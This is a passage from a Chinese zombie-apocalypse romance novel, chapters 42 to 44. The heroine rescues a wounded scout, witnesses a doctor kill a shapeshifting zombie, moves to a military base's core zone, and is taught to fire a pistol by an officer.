这会儿,王薇已经醒来,她坐起身,问:“哇!你哪里来的饼干?”
“有人送的。”林阮儿回答。
“谁送啊?这种饼干可是珍稀物资,一般人很难有的,头衔至少得是那个特战员级别的,你不会是……”
“是燕特战员给我的。”林阮儿定定地道。
这下,李娜也不困了,直接站起来惊讶:“我的天!燕特战员送你的?这些物资在特战员身上也是稀缺啊,他怎么会送给你呢?难道他喜欢你?不会吧,要知道,北宸多少女人都爱慕他呢,燕特战员可是很多人的梦中情人啊!!”
42. 第 42 章
林阮儿陷入梦乡,凌晨两点,她被一阵声音吵醒。
她翻了个身,把被子往上拽了拽,盖住耳朵,那声音还在,像是有什么东西在走廊里拖着走,一下,一下,又停了。
她睁开眼睛,盯着天花板,天花板是暗的,透出一阵幽绿的光,林阮儿半起身,看看屋内的人,李娜和王薇睡得正实,完全没有听到外边的动静。
林阮儿感觉这个声音并不对劲,不像是风声,也不是什么老鼠声。
她从床上坐起来,摸索着把外套简单披上,床头柜上的水杯是空的,她口渴到不行了,想起水房在走廊尽头,需要穿过一条暗黑的走廊,林阮儿只能壮着胆子走出房间,北宸基地应该很安全。
那声音说不定是有哪间屋里的人睡觉磨牙,恰好屋子不隔音导致的吧,林阮儿这样在心里安慰自己。
门推开的时候,走廊里的灯闪了闪。
林阮儿抱着水壶往前走,脚下的拖鞋在地面上蹭出轻微的响声,走廊很长,灯泡每隔几米才有一个,有的亮有的不亮,亮的那几盏也只是发出昏黄的光,照不了多远,她走到一半,突然停下了。
总感觉哪里有东西似的,林阮儿以极快的速度跑到水房,水房接水过后,没拧紧水龙头的滴答滴答的声响,让她心底一颤,不过还好,现在没有那种奇怪的声音了。
就在她准备离开时,墙面有团黑糊糊的影子,开始只贴着墙根,后来直接抓住她的脚腕,粘着血液热乎又黏腻的手触感,让林阮儿往后退了半步,后背撞上墙壁……
她看见了一张脸,男人的脸,从左边的太阳穴到右边的嘴角,有一道很长很长的血痕,皮肉翻着,血已经干了,结成黑红色的痂。
她张嘴要喊。
“别喊,我是活人。”
这人声音居然很好听,跟声优一样,带着轻微的喘息,如果不看他可怖的脸,就跟听小说男主说话似的,林阮儿恢复理智,男人朝她爬了一步,再次伸手抓住了她的脚踝,这次,抓得更紧。
“救……救我。”
林阮儿捂着眼睛不敢看,问:“你是谁?哪儿来的?”
“我不是丧尸,你帮我叫人来,快。”
那男人说着,完全脱力嘴巴发不出声音来,得处理一下吧,林阮儿理了理胸口,腿差点僵了。
她往走廊外看了看,这是五楼不错,怎么把他弄到外边的医务室呢?只能是走电梯,她又看了看自己脚边这个人,他太沉了,她一个人拖不动,幸好在走廊拐角有个东西,板车,是平时清洁工用来运垃圾的。
林阮儿跑过去把板车推过来,轮子在地上滚,发出咯吱咯吱地响声,她把板车停在男人身边,弯下腰去拽他。
“你自己能使上劲吗?”她问。
男人点点头,用手撑着地,一点一点往上抬身子,林阮儿架住他的一只胳膊,就往板车上拖,男人的身体很重,压得她胳膊发酸,她咬着牙,把他半边身子挪到了板车上,又绕到另一边,把他的腿也搬了上去。
搬腿的时候,她的手碰到了他的小腿,湿的,黏的,全是血,她的手指隐约间摸到了伤口,很深的一道,皮肉翻开着,边缘是锯齿状的,不像刀割的,倒像是什么东西咬的。
男人躺在板车上喘气,胸口一起一伏。
之后,林阮儿推着板车往医务室跑,医务室有人值夜班,林阮儿问:“有人吗?有人受伤了!”
门开了,一个女护士站在门口,戴着口罩,只露出一双眼睛,她看了一眼板车上的男人,马上把门全推开:“推进来推进来,放这儿,放床上。”
林阮儿和护士一起把男人往床上搬,男人的胳膊搭在林阮儿的肩膀上,她的脸贴着他的胸口,能感觉到他的心跳,很快。
“什么事?”一个男的声音从后面传来。
林阮儿回头,一个男医生站在她身后,穿着白大褂,戴着口罩,正往这边看。
“安置区的走廊里碰到的,他让我救他,我不知道他是谁,也不知道他的身份。”
男医生走过来,发现不仅是腿和脸,在男人的肚子上也有伤,不是一道,是好几道,有的深有的浅。
“怎么弄的?”男医生问。
男人的眼睛半睁着,嘴动了动,沉声:“外面有东西进来。”
“怎么进来的?”
男医生继续问:“在你腿上的标志……你是猎豹二号?”
“现在还重要吗?这条命快搭这儿了。”
男医生对他说:“放心,死不了,给我一点时间。”
男人咳了一声,血从嘴角溢出来,“是人,不是人,是那个会变成人的陀螺丧尸。”
女护士的手停了一下,居然是陀螺丧尸吗?速度极快可以拟人化的丧尸,那要撞上了几乎小命都没了。
林阮儿小声问女护士,什么是猎豹二号,什么是陀螺丧尸,女护士跟她解释完陀螺丧尸,又轻声说:“猎豹二号就是出特殊外勤的人,会面临更加多样化的丧尸,也可以说他们是个人安排,一种研究者,再把他们研究出的丧尸数据传回总部,这种丧尸可谓罕见,它们可以完全变成一个普通正常人混迹进来,手段残忍,不咬,生吃,你看到的锯齿状伤口就是了。”
林阮儿深吸一口气,道:“确切来说,感染都有发作期,在期限内及时治疗就没问题。”
林阮儿点点头。
男医生没说话,转身去拿器械,然后,他开始剪男人的衣服,从领口一直剪到裤腰,男人的身体露出来,肋骨一根一根的,皮肤上全是血,伤口翻着。
女护士说:“看样子,他腿伤的最严重。”
林阮儿站在旁边,指了指男人的小腿:“我刚才搬他的时候摸到的,伤口很深。”
男医生苏船赫推着器械车过来了,上面摆着针、线、镊子、纱布、碘伏。
“这位小姐,你可以先出去。”苏船赫对林阮儿说。
林阮儿往后退了一步,拉帘走了出去。
苏船赫看了她一眼,没再说话,低头开始处理伤口,他先用镊子夹着纱布蘸碘伏,往伤口上擦,然后,女护士在旁边递东西,镊子,剪子,针,线,他的手很快,针扎进皮肉里,穿过,再从另一边扎出来,线拉紧,再扎下一针。
林阮儿则是在帘子外的椅子坐着,受伤的男人竟然一声没吭,很能忍痛。
一个小时左右,苏船赫走了出来,见林阮儿还在这里,问:“你怎么还在?”
林阮儿:“医生,这里会不会已经不安全了?”
“至少进来一个陀螺丧尸。”
林阮儿隐约的,后背一阵发凉。
苏船赫:“小影,你去一下102房,再拿点新的碘伏备用。”
女护士小影走出房间,苏船赫就开始收拾器械,把用过的针线纱布往垃圾桶里扔,把没用的摆回器械车。
林阮儿站在床边,看着床上受伤的男人,他的脸色很差,白得跟纸一样,那道血痕从太阳穴拉到嘴角,在灯光下显得特别刺眼。
这时候,门响了。
小影出去只过了不到一分钟,甚至可以说不是敲的,是推的,推得很轻,门轴转了一下,门缝开了一点点。
苏船赫转过头去看。
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门又推开了一点,一个人影站在门口,背着光,看不清脸。
“谁?”男医生问。
那个人没说话,往屋里走了一步,是一个女的,头发披着,脸上带着笑。
“医生,我找点药,我头疼。”
苏船赫把手里的东西放下,往药柜那边走,走到一半,突然停住了。
定了定神,问:“你哪号楼的?”
那个女的没回答,还是笑。
林阮儿看着那个女的笑,觉得哪儿不对,她的笑是僵的,嘴角往上扯,眼睛却不笑,直直地盯着人看。
那个披发女的没回答,反而又往前走了一步。
苏船赫冷声笑:“北宸基地的人我都认识,但不认识你。”
那个女的不笑了。
她的脸开始变,不是一下子变的,是慢慢变的,像有东西在皮肤底下钻动,眼睛的位置不对了,嘴的位置也不对了,整张脸像被揉过的纸,皱起来,又撑开,皱起来,又撑开。
林阮儿的嘴张开了,但喊不出来。
男医生苏船赫伸手从器械车上抓了个东西,手术刀,银色的,很小,他朝那个女人扑过去,动作快得林阮儿没看清。
与此同时,林阮儿的双眼被一只白手套捂住,纤长手指戴着手套,有种涩的触感,他一刀割喉,干净利落了解决那女的,又温声对林阮儿道:“别看。”
苏船赫的声音在她耳边响起来,很近,呼吸喷在她的后颈。
林阮儿站在那里,眼睛依旧被捂着,眼前一片黑,她听见水声,哗哗的,是水龙头开着,还听见拖地的声音,一下一下的,听见什么东西被拖走的声音,在地上摩擦。
直到很久,很久,那只手才松开。
林阮儿的眼睛适应了刺眼的光线,她看见苏船赫站在她面前,摘了手上的手套,白色的手套上全是血,他很随意地把手套扔进垃圾桶里,换了一副新的。
“吓着了?”男医生问。
林阮儿点点头,又摇摇头。
“在这儿,人人都得会点自保手段,所以不用瞪着你的大眼睛表示惊讶。”
林阮儿听罢,才把微微张着的嘴巴闭上了。
这时候,女护士小影才回来,拉开布帘,说是透透气,怕受伤的男人闷着了。
床上的男人动了动,睁开眼睛往这边看。
男医生也往那边看了一眼,又看回林阮儿,眼神在她脸上停了停。
“他得在这儿静养,你明天再来看他吧。”
林阮儿抬起头,对上苏船赫的眼睛,解释:“我跟他没关系的。”
床上的男人说:“怎么没关系?你可是我的救命恩人,我得报答你。”
林阮儿摆摆手:“要是别人看到这种情况,也会毫不犹豫救你。”
床上的男人心想她那么怕,自己抓住她脚踝时,她白嫩的脚踝分明极度颤抖,仍然好心救他。
换了别人,恐怕不会这样做。
“我叫方绅,你叫什么?”
“林阮儿。”
“林阮儿。”躺在病床上的方绅念了一遍,点点头,“好,记住了。”
苏船赫:“既然这样,那我送送你。”
林阮儿:“我么?”
“是我安全送你回去,还是打一针镇定剂,才能安抚林小姐呢?”
林阮儿:“我没事。”
苏船赫看了看他的衣角,林阮儿因为惊吓过度手指还轻轻拽着呢。
下一秒,她准备松开。
“抓着吧,有点安全感。”苏船赫缓缓开口。
43. 第 43 章
夜幕彻底沉下来了,安置区的路灯隔老远才有一盏,林阮儿跟在苏船赫后头走,苏船赫边走边回头看了她一眼,道:“陀螺丧尸比较特殊,它们能化形成普通人的样子,有时候能趁着有人巡逻的空档进来,但大批范围不可能,进来的丧尸会被及时解决,不用过于担忧。”
林阮儿点点头,走到门口,说:“谢谢苏医生送我回来。”
苏船赫没再往里走:“行,进去吧,早点休息。”
林阮儿推开门进去,走廊里仍旧很安静,她走到了509房间,拧开了房门。
屋里黑漆漆的,她并未打开墙面的开关,直接找到自己的床位,准备睡时,她听到了王薇那边翻了个身,猛地惊醒,啊了一声,全身都是冷汗了。
李娜问:“王薇,你怎么了?”
“我、我也不知道,我好像是做了一场噩梦……”她一遍说,刘海都湿透了贴在额头,她大口喘着气,眼睛直愣愣盯着前方。
林阮儿撑起身子也问:“怎么了?是不是我吵到你了?”
王薇转过头看林阮儿:“没有,我都没听到你的动静,是我做梦了,梦到丧尸进来,跟正常人一模一样,就站在咱们床边,直勾勾地盯着我看。”
林阮儿心里咯噔一下,嘴上还是说:“梦都是反的,不会有事。”
王薇:“可是很真,那丧尸就穿着咱们基地的制服,脸上还带着笑,我问他你是谁,他说他是来查房的,可我看见他脖子后头有一道缝儿,跟嘴巴似的,还会动。”
李娜躺了回去,说:“不行,我得继续睡了,你别想太多了,就是一场噩梦而已。”
李娜的话音刚落,门外响起了敲门声。
王薇瞬间浑身一僵,在那边直接捂住了嘴。
敲门声又响了,这回重了些。
林阮儿攥紧被角,不敢出声,就在这时,门外的人说话了:“开开门,是我,燕符云。”
三人都愣了下,林阮儿只好掀开被子下床,她穿着睡衣,趿拉着拖鞋直接走到门边,趴在猫眼上往外看,外头站着个人,穿着特战队的制服,走廊灯光亮起,确实是燕符云那张脸。
他说:“姑娘们,换好衣服,特殊情况,全基地紧急筛查,一个角落都不能放过。”
她开了门,燕符云站在门口,手里拿着个手电筒,身后还跟着两个士兵。
“打扰你休息了吧?”燕符云问。
林阮儿摇了摇头,身后两位士兵手持一款仪器在三人的额头处检测了一遍,仪器呈现蓝色,没有发红,他们退出来:“燕特战员,没问题。”“好。”
燕符云走之前,看了林阮儿一眼,从兜里掏出个东西递过来,是个电子哨,银灰色的,比普通哨子大一圈,表面有一圈细小的灯珠,拿在手里有点分量。
“电子哨,遇到危险就吹,吹多大声都行,它能感知到异常,自动把位置发到指挥中心。”
林阮儿接过来,指尖碰到燕符云的黑皮手套,这时候王薇和李娜也从床上下来了,她们看见站着燕符云,愣了下。
还真帅啊,两人的眼睛放着光,王薇直接凑过来,看了看林阮儿手里的哨子,又看看燕符云:“燕特战员,这个哨子,我们有没有啊?”
李娜也问:“对啊,我们三个是住在一屋的。”
燕符云:“这电子哨我手里就这一个,你们屋里不是有紧急按钮嘛,有事按那个就行,指挥中心一样能收到。”
王薇哦了一声,有点失望。
燕符云朝她们点点头:“行了,你们早点休息,听吩咐就是。”
说完带着那两个士兵走了,走廊里脚步声渐渐远了。
第二天一早,天刚蒙蒙亮,林阮儿就醒了,因为昨晚的事她有些睡不着,索性早些起床,换上了一套运动服,下楼去院子里晨练。
安置区前头有块空地,铺了碎石子,边上种着几棵冬青树。
身体素质得自己练,不能光靠基地保护,因此,林阮儿就站在空地上,开始进行拉伸活动,她的身体还真有点发僵,弯腰够脚尖的时候腿肚子都在抖,她咬着牙往下压,一下,两下,姿势别扭得很,跟只伸懒腰的猫似的。
远处的一阵脚步声,听起来挺急。
顾阡正快步朝这边走过来,他走得很快,身后跟着个士兵,小跑着才能跟上。
旁边的士兵追上他,喘着气问:“顾特战,今天这么急啊?咱晨会今天不是不开了么?”
顾阡没回答他的问题,士兵小志又挠了挠头,不解,心想这几天的计划表里,有哪个自己没有注意到,这会儿,他急刹了步子,原来是顾阡先停下来脚步。
站在顾阡前面的女人,正机械化的做着动作,动作磕磕巴巴的,有时候像是上了发条的玩偶,有时候这“玩偶”就又失灵了,彻底坏掉,顾阡放缓了步子,走向她。
林阮儿这时候才发现顾特战员到来,她一愣,志气身子,直起身子,就看见顾阡正盯着她,眼神十分专注,从上到下打量了她一遍。
“别动。”他淡淡道。
林阮儿只好停止继续做动作,顾阡继续上前一步,伸手扶住她的肩膀,力道不重,他把她带到空地边的一个水泥台子边上,那台子本来是放健身器材的,现在空着,落了一层浮灰。
顾阡一弯腰,粗壮的手臂穿过她的膝弯,直接把她抱起来,放在了台子上。
林阮儿吓了一跳,手撑在台子边上:“顾特战员,你干嘛?”
顾阡没回答,一只手按在她腰侧,隔着运动服轻轻地摩挲起来,从她的腰侧往前,到小腹,又转回去,他的手掌干燥温热,动作很慢。
林阮儿几乎是浑身绷紧了,甚至有点怕到抖。
“怎么了?”
这时,顾阡的手从她腰侧移开,渐渐往上摸到她后颈,手指插.进头发里,在发根处细细地按,然后又往前,指腹擦过耳垂,滑到脖颈侧面,喉结旁边,一下一下地按压。
林阮儿呼吸都停了,能感觉到他指尖的温度,还有指腹上薄薄的茧子,刮得她皮肤不住地有点痒。
顾阡的手指停在她脖子侧面,然后俯下身,凑近了看她的耳后,男人的呼吸喷在她脖子上,热乎乎的一股气流。
林阮儿
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闭上眼,不明白他的意思。
顾阡:“嗯,没受伤。”
身后的小志看到这一幕,直接抿住了嘴巴,偏过头,眼睛眨巴两下,站得直直的,不敢动。
顾阡声音幽幽,很好听:“在晨练?”
“嗯。”
“是你刚才做操的时候,姿势有点僵,我怕你被咬。”
林阮儿张了张嘴,喉咙有些发干:“我就是昨晚有点没怎么休息好,状态就变成这样了。”
顾阡直起身子,低头看着她,眼神里有点别的什么,说不上来是什么,他往后退了一步,道:“没被咬就好。”
林阮儿依旧还坐定在台子上,她运动服的腰侧被他摸过的地方还留着一点温度,有点烫,她抬头看他,发现顾阡的视线还没移开。
顾阡问:“能下来么?”
林阮儿想要跳下来,穿着长裤倒是方便,但主要这台子还挺高,就这样跳的话,可能会崴到她的脚,于是她小心地试探了一番,一只鞋尖想要往下探,测试一下高度,结果脚底一滑,就摔了下去,顾阡眼疾手快,直接接住了她,手臂完全环住她的腰际,她的腰很细,轻轻一揽就揽住了,林阮儿的下巴自然地搁在他肩头。
两人的姿势过于暧昧,距离太近,林阮儿完全可以听到男人的心跳,原来男人的心跳声音比她想象中的声音还要重,宛如擂鼓的声音,她赶紧站直身子,头也没抬:“谢谢顾特战员。”
顾阡还在回味刚才女人脸颊划过自己脖颈的一瞬,虽然只有几秒钟,却没想到她的脸蛋那么软,软得很像是那种棉花糖一样,他这会儿看她,问:“你昨天救了人?”
林阮儿:“是的,他伤得很重,如果不及时救治的话,恐怕性命就不保了。”
“看不出来,你那么瘦小的身体,还能救一个大男人。”
林阮儿:“是用板车的,不然我一个人的力量不足够。”
顾阡沉吟一会儿,轻声:“这样啊。”
“怎么了吗?”林阮儿问他。
顾阡:“简单问问而已,那位伤势没好就准备来找你,但我希望你可以不见他。”
林阮儿不明白,顾阡继续解释,“毕竟他又不是你什么人,所以放心好了,这里的医疗很好,他过不了三天就会彻底康复,自然,也会休假一段时间。”
虽然不清楚他为什么要告诉自己这么多,但林阮儿还是点了点头,林阮儿这时候看到他身后站着的士兵,小志嘴巴一张一合的,似乎想要跟他说些什么话,林阮儿:“顾特战员,你身后的人,是有事要跟你说吧?”
小志完全是因为看到平常见女人就绕道走的顾特战员太过的反常了,实在是过分激动才会有那样表现,顾阡没理会他,对林阮儿道:“昨晚的事不防不行,一夜搜寻,那丧尸早被除干净了,但我不放心,不如林小姐从安置去搬出来,换个地方住。”
旁边的小志这时候听到,跑过来就是一顿撮合:“是,我看我们顾特战员的意思,就直接搬到顾特战员家的隔壁好了。”
顾阡笑了下,他怎么早点没发觉这小子还挺上道阿……
44. 第 44 章
小志士兵继续跟林阮儿说话。
“林小姐,那边真的不一样,是单间,里头床是新的,不是那种上下铺的铁架子,窗户也大……房间就在北宸的核心区,里头东西都是现成的,您直接住进去就行。”
林阮儿原本想要说些什么,顾阡便道:“条件只是一方面,安全和舒适度更重要些,希望你别拒绝我。”
在末世,物资确实是活着的本钱,但光有物资不够,强者才有话语权,这话一定也不假。
顾阡凑近:“上次的事被你撞见,身上难免会沾染一些丧尸的味道,通常那称为是气味传播,你已经不再安全了。”
林阮儿听懂了,思索了一阵后,就点了点头。
顾阡:“明天我让人来接你。”
林阮儿回去之后跟李娜和王薇也没多说,就说可能要去别的地方待几天。
临走前,林阮儿开始收拾行李,王薇和李娜刚从食堂回来,看到这一幕,简直吓坏了,王薇问:“阮儿,你这是被逐出北宸了?你可千万别瞒着我,是不是那天你得罪谁了啊?”
李娜:“天!那我可得跟燕特战员说说,他肯定能护着你的。”
林阮儿看着她们,虽然只接触了一两天,但两人倒是挺好的。
她只能解释:“没有的事儿,是换地方住,回头我安顿好了来可以再来找你们。”
李娜半信半疑地看着她,王薇也走过来了,站在李娜后头,没说话,就那么看着。
林阮儿:“放心,在北宸核心区,因为上次陀螺丧尸的事,顾特战员才安排我到那边住。”
李娜和王薇对视了一眼,脸上那种担心的表情好像是惊讶,又好像是羡慕。
两人没再多说,看林阮儿下楼,从窗户外能看到林阮儿她直接跟着士兵小志上了那辆停在不远处的军用吉普。
王薇和李娜朝着窗户喊:“再见!林阮儿!”
林阮儿看了看她们:“好的大家,我走了。”
吉普车越来越小,最后拐个弯就看不见了。
林阮儿靠在座椅上,叹了口气。
要不是担心外头那些丧尸会不会哪天冲进来,她真不想搬,李娜和王薇人挺好的,晚上睡不着的时候还能和她们一起说说话。
小志开着车,从后视镜里看了她一眼:“林小姐,别担心,顾特战员他已经安排好了一切。”
车开了十来分钟,经过了两个检查岗,第三个检查岗的时候有个士兵拿着个巴掌大的仪器往车里扫了扫,然后放行了。
林阮儿往外头看,这边的房子跟安置区那边完全不一样,外墙刷成了棕色,窗户上装着铁栏杆,栏杆不是那种细细的,是有小臂那么粗的钢管,路上的人也不一样,安置区那边走来走去的都是普通老百姓,这边走来走去的全是穿军装的,要不就是穿着防弹衣的。
车停在一栋三层楼前面,小志说到了。
林阮儿下了车,拎着自己的行李站在楼门口,还没来得及往里走,就看见顾阡从里头出来了。
顾阡没穿外套,就穿了一件黑色的短袖,袖子勒在胳膊上,能看见胳膊上的肌肉一块一块的。
他冲林阮儿点了点头:“来了?”
林阮儿点点头:“嗯。”
顾阡指了指楼上:“你房间在二楼,我隔壁,上去看看,缺什么跟我说。”
林阮儿往楼上走,走到一半想起来什么,回头问:“对了顾特战员,那个通讯设备……”
顾阡站在楼梯口,抬手摸了摸自己的耳朵。
林阮儿这才注意到他耳朵上卡着个东西,小小的银灰色,贴在他耳朵软骨上。
顾阡对她说:“手机没信号了就是废铁,这个是我们自己弄的,靠基地内部的小型信号塔,你一会儿也装上。”
他说着帮她拿了行李走上楼梯,然后凑近到林阮儿跟前,伸手让她看:“就这样,卡在耳朵软骨上,按一下这个地方就能拨号。”
林阮儿凑近看了看,那东西真的很小,比指甲盖大不了多少,贴在他耳朵上几乎看不出来。
顾阡按了一下那个小东西,上头亮起几个小小的数字,是那种淡蓝色的光,在白天看不太清楚,他说:“号码只有三位数,好记,拨号就这样按,按完了再按一下这个键就接通。”
林阮儿问:“那您的号码是多少?”
顾阡看了她一眼,没说话,伸手把她耳朵边上的头发撩开,动作很快,快到林阮儿都没反应过来,他把她耳朵上那个位置指了指:“一会儿给你装上,我的号码我直接输进去,这个设备有记忆功能,你装好之后,记忆的第一个号码就是我的。”
林阮儿耳朵被他指了一下,感觉那块皮肤有点热。
她点点头:“好,谢谢。”
顾阡没再多说,让她可以上去看房间,自己有事要去开会先走了。
小志继续送林阮儿上了二楼,她推开门一看,愣住了。
房间比她想的还要好,阳光直接洒了进来,床是木头床,上面铺着干净的浅粉色床单,看着就舒服,桌子靠墙放着,桌面还放着一个暖水壶,书架在桌子旁边,两层真的摆了书,有几本挺厚的,书上的字她认了认,有《植物图鉴》,有《野外生存手册》,还有一本《建筑结构基础》。
小志解释:“这都是基础书籍,顾特战员也不清楚您要什么书,基础统一分发的书都摆在这里了,暖水壶还有一切设施都是新的。”
林阮儿又走到窗户边往外看。
楼下是一片训练场,很大,水泥地面压得十分平整,这会儿正有人在训练,一群男的,有的在跑步,有的在举东西,还有的在地上做俯卧撑,好些人光着膀子,只穿着防弹衣,防弹衣勒在身上,把肩膀和背部的肌肉线条勒得清清楚楚的。
收拾好了行李后,小志就把屋内钥匙给到了她,等小志走后,林阮儿就走出去转了转,隔了一条路,她走到了训练场那边,那些士兵们全部都汗津津的,健康的肤色在太阳底下晒得发亮。
林阮儿咽了口唾沫,心想这地方还真是……
“好看吗?”
一个声音突然从旁边冒出来。
林阮儿吓了一跳,扭头一看,燕特战员不知道什么时候站到她旁边了,正顺着她的视线往外看。
燕符云今天穿着作训服,裤子是那种宽松的军裤,上衣扎在裤腰里,他脸上没什么表情,眼睛却带着点儿我看穿你了的那种笑意。
林阮儿脸瞬间变得很红了:“我就是看看这边环境。”
燕符云嗯了一声,拖长了调子:“环境是不错,尤其是那些光着膀子的。”
林阮儿脸更红了,想解释又不知道怎么解释。
燕符云没再逗她,走到训练场的另一边,指了指说:“看到那个转盘了吗?”
林阮儿顺着他指的方向看过去,训练场边上有个很大的圆盘,铁的,架在一个底座上,看着像是个巨大的旋转托盘,这时候有个士兵爬上去了,站在圆盘中间,另一个人启动了什么机器,圆盘就开始转起来。
圆盘转得不慢,那个士兵站在上头,身体随着圆盘转动,两条腿一直倒腾着保持平衡。
林阮儿看愣了:“他们干嘛呢?不头晕吗?”
燕符云说:“训练的就是这个,哪怕很晕,因为空中作战的时候,直升机悬停,舱门打开,外头气流冲进来,人站不稳,有时候直升机还会转圈,所以他们得练到在转盘上能站稳,能瞄准,能开.枪。”
林阮儿看着那个士兵在转盘上摇摇晃晃的,心里头突然有点儿小期待,痒痒的,想上去试试。
燕符云转头看了她一眼,问:“怎么?想去试?”
林阮儿:“没有,我肯定不行的。”
燕符云:“我忘了问,你之前做什么的?”
“在基地做后勤的登记员。”
燕符云说:“所以你没受过基础训练,上去基本就得摔下来。”
林阮儿点点头,自己只是觉得有点好奇而已,她肯定没法做得到,那种强力量的训练,这会儿那个转盘上的士兵下来了,换了个人上去。新上去的人看着年轻点,上去没转几下就跪那儿了,把旁边看热闹的人逗得直笑。
然后,林阮儿转头,她看见训练场另一边有人在搬东西,一箱一箱的,摞得挺高,几个人在往一辆卡车上装。
她说:“那边搬的应该就是物资了吧?”
燕符云看了一眼,道:“前天出去搜的,今天清点完,往仓库送。”
林阮儿说:“北宸需要登记员吗?我可以帮帮忙的。”
燕符云说:“你现在需要的是休息,清点物资那点儿活,现在用精密仪器扫一下就行,比人清点快多了,我可不想你在这边还要做这种苦力活儿。”
燕符云看着她,道:“下午有时间吗?方便的话,带你去打.枪,想不想去?”
林阮儿:“真的啊?”
燕符云点点头:“在这儿,打.枪就是第一课。”
林阮儿连连点头:“好,我去。”
燕符云说:“那行,两点钟,楼下等我。”
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下午两点钟,林阮儿准时下楼。
燕符云已经在楼下等着了,换了身衣服,是一身黑色外夹的防弹服,宽肩窄腰,瞬间衬出男人的身形,他弯下腰,和她视线齐平:“要不要穿上我这种防弹服?”
林阮儿低头看看自己,牛仔裤,运动鞋,一件长袖T恤,但衣服款式没有女式的,衣服会有些大,最后穿上,林阮儿的整个人像是套进了一件衣服壳子,燕符云上下打量了一遍,笑笑:“走吧。”
两个人往基地北边走过去,走了十来分钟,穿过一个铁门,到了一个空旷的地方,那是个靶场,露天的,周围堆着沙袋,沙袋垒得有一人高,靶场里没人,只有几个靶子立在远处,上面贴着人形的纸。
燕符云带着林阮儿走到一个射击位前,把小箱子放在旁边的台子,她打开箱子,里头躺着一把手枪,黑漆漆的,看着挺沉。
林阮儿看着那把.枪,心跳突然快了。
燕符云从箱子里拿出两个耳塞,自己戴上了一个,另一个直接帮她戴,林阮儿:“不用了,我自己来。”
燕符云:“听话。”
燕符云帮她戴降噪耳塞,男人离她很近,近到她能闻见燕符云身上那股淡淡的洗衣份味道,燕符云的手指碰到她耳朵,凉凉的,轻轻的,把耳塞往里推。
“疼吗?”燕符云问。
林阮儿说:“不疼。”
然后他拿起自己手边的一把.枪,退出弹夹给她看:“这是空的,我先教你怎样抓握.枪。”
之后,她模仿着样子,她拿起自己一把.枪,那.枪.很沉,两只手一起托着才堪堪托住。
燕符云绕到她身后,两只手从她身体两边伸过来,握住她的手,帮她调整姿势。
林阮儿的后背贴到燕符云前胸了,隔着两层衣服,能感觉到燕符云身体的体温,他的手臂环着她,手把着她的手,下巴几乎碰到她头顶。
“手太高了,放低一点儿。”燕符云的声音在她头顶响起来,很闷,因为隔着耳塞听不太清楚。
林阮儿让燕符云把着手,把她的.枪放低了一点儿。
“对,就这样,食指放这儿,别放扳机上,先找感觉,其他手指握紧,但不要太紧,太紧手会抖。”
林阮儿点点头,头发蹭到燕符云下巴上。
燕符云没躲,就那样待着,又调整了一下她手腕的角度。
她能感觉到燕符云的手臂,能感觉到燕符云握着她手的那双手,手指头挺长的,骨节分明。
燕符云在她身后待了得有一分钟,然后才松开手,退后一步。
林阮儿深吸了一口气,继续握着枪,保持那个姿势。
燕符云走到她旁边,把弹夹装上,然后说:“现在我给你装实弹,你握稳了,一会儿开枪的时候后坐力会震手,别怕,正常反应。”
林阮儿点点头,手心却已经开始出汗了。
燕符云装好弹夹,给她拉开枪.栓,然后说:“瞄准前面那个靶子,对准了,慢慢扣扳机,别一下扣到底,慢慢压。”
林阮儿举着枪,对着远处的靶子,那靶子看起来挺远的,人形纸上的脑袋甚至只有指甲盖那么大。
她吸了口气,食指渐渐用力。
砰!
枪响了,声音比她想的大多了,就算戴着耳塞也震得耳朵嗡嗡的,她的手被震得往上扬了一下,差点没握住。
林阮儿愣在那儿,脑子里一片空白。
燕符云在她旁边说:“打偏了,脱靶,再来。”
林阮儿扭头看她:“脱靶了?”
燕符云点点头:“很正常,第一次能握住枪就不错,再来。”
林阮儿又开.枪。
这一枪好像打中了什么,远处靶子上有块纸直接飞起来了。
燕符云拍了拍她肩膀:“中了,虽然是边上,但进步不小。”
林阮儿成功了,和他击掌,燕符云唇角忍不住微微勾起,她又开了几枪,后来越打越顺,虽然还是打不很准,但至少能控制住.枪了。
燕符云会偶尔走过来帮她调整一下姿势,偶尔会在她耳边说几句话,有一次调整姿势的时候,男人的手从她腰侧滑过去,把她身体转了个角度,那手在她腰上多停了两秒。
林阮儿觉得腰上那块皮肤烧得慌。
打完一盒子弹,燕符云说可以,今天就到这儿。
林阮儿放下了.枪,她摘下耳塞,听见了在一百米距离左右,有更大的枪.声传了过来,轰隆隆的,像是有什么东西在炸……